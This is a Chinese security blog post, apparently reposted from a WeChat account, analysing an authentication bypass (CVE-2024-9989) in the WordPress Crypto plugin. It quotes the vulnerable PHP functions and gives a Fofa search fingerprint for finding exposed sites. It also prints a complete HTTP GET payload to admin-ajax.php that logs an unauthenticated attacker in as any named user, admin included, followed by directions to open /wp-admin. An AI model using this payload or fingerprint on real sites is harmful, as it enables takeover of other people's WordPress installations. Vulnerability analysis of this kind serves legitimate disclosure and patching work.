0x00 前言
WordPress 的 Crypto 插件在 2.15 及以下版本(包括 2.15)中容易受到身份验证绕过攻击。这是由于对 'crypto_connect_ajax_process' 函数中 'crypto_connect_ajax_process::log_in' 函数的任意方法调用有限。这使得未经身份验证的攻击者可以以站点上的任何现有用户(例如管理员)身份登录(如果他们有权访问用户名)
影响版本: <= 2.15
Fofa指纹:"wp-content/plugins/crypto/"
访问 /wp-content/plugins/crypto/README.txt 的 Stable tag 可看到当前版本号
0x01 漏洞分析&复现
位于 /includes/class-crypto_connect_ajax_register.php 中的Log_in 方法存在逻辑缺陷,能直接登录任意用户且无任何授权,导致漏洞产生. (若要登录管理员账号需知用户名)
publicfunctionlog_in($username){//---------------------Automatic login--------------------if (!is_user_logged_in()) {if ($user = get_user_by('login', $username)) { clean_user_cache($user->ID); wp_clear_auth_cookie(); wp_set_current_user($user->ID); wp_set_auth_cookie($user->ID, true, is_ssl()); $user = get_user_by('id', $user->ID); update_user_caches($user); do_action('wp_login', $user->user_login, $user);if (is_user_logged_in()) {return"success"; } else {return"fail"; } } } else {return"wrong"; } }
实际在register 方法有调用该Log_in方法,只需要判断 $the_user_id != 0 即可进入其分支,到达 return $this->log_in($user->user_login);
publicfunctionregister($id, $param1, $param2, $param3){//flexi_log("ame hree" . $param1);if (!is_user_logged_in()) { $user_login = trim($param1);//Check if this wallet is already linked with other account $the_user_id = $this->get_userid_by_meta('crypto_wallet', trim($param1));if ($the_user_id != 0) {//This wallet is already assigned to one of the user//Log that user in $user = get_user_by('id', $the_user_id);return$this->log_in($user->user_login); } else { $existing_user_id = username_exists($user_login);if ($existing_user_id) {//echo __('Username already exists.', 'crypto_connect_login');// flexi_log("Username already exists " . $user_login);return$this->log_in($user_login); } else {// flexi_log("NEw User " . $user_login);if (is_multisite()) {// Is this obsolete or not???// https://codex.wordpress.org/WPMU_Functions says it is?// But then, the new REST api uses it. What is going on? $user_id = wpmu_create_user($user_login, wp_generate_password(), '');if (!$user_id) {return'error'; } } else { $user_id = wp_create_user($user_login, wp_generate_password());if (is_wp_error($user_id)) {// echo $user_id;// flexi_log(" AM into regiseter " . $param1); } } update_user_meta($user_id, 'crypto_wallet', trim($param1));return$this->log_in($user_login); } } } }
而调用register 方法的其实是crypto_connect_ajax_process 方法,上面的 add_action 方法中插入了可被WP_ajax调用的钩子,同样不需要鉴权,只需要$method_name = register即可
publicfunction__construct(){ add_action("wp_ajax_crypto_connect_ajax_process", array($this, "crypto_connect_ajax_process")); add_action("wp_ajax_nopriv_crypto_connect_ajax_process", array($this, "crypto_connect_ajax_process")); }publicfunctioncrypto_connect_ajax_process(){ $id = $_REQUEST["id"]; $nonce = $_REQUEST["nonce"]; $param1 = $_REQUEST["param1"]; $param2 = $_REQUEST["param2"]; $param3 = $_REQUEST["param3"]; $method_name = $_REQUEST["method_name"]; $response = array('error' => false,'msg' => 'No Message','count' => '0', ); $system_nonce = wp_create_nonce('crypto_ajax');// flexi_log($nonce . "---" . $system_nonce);if (wp_verify_nonce($nonce, 'crypto_ajax') || $method_name == 'register' || $method_name == 'check') { $msg = $this->$method_name($id, $param1, $param2, $param3);// flexi_log("PASSED"); } else { $msg = "System error";// flexi_log("FAIL " . $method_name); } $response['msg'] = $msg;echo wp_json_encode($response);die(); }
Payload:
GET /wp-admin/admin-ajax.php?action=crypto_connect_ajax_process&method_name=register¶m1=admin HTTP/1.1Host: 127.0.0.1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
成功会显示Success 并赋予Cookie 然后再访问/wp-admin 即可登入管理账号.
原文始发于微信公众号(星悦安全):【首发 1day】WordPress Crypto 插件存在前台任意用户登录漏洞(CVE-2024-9989)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论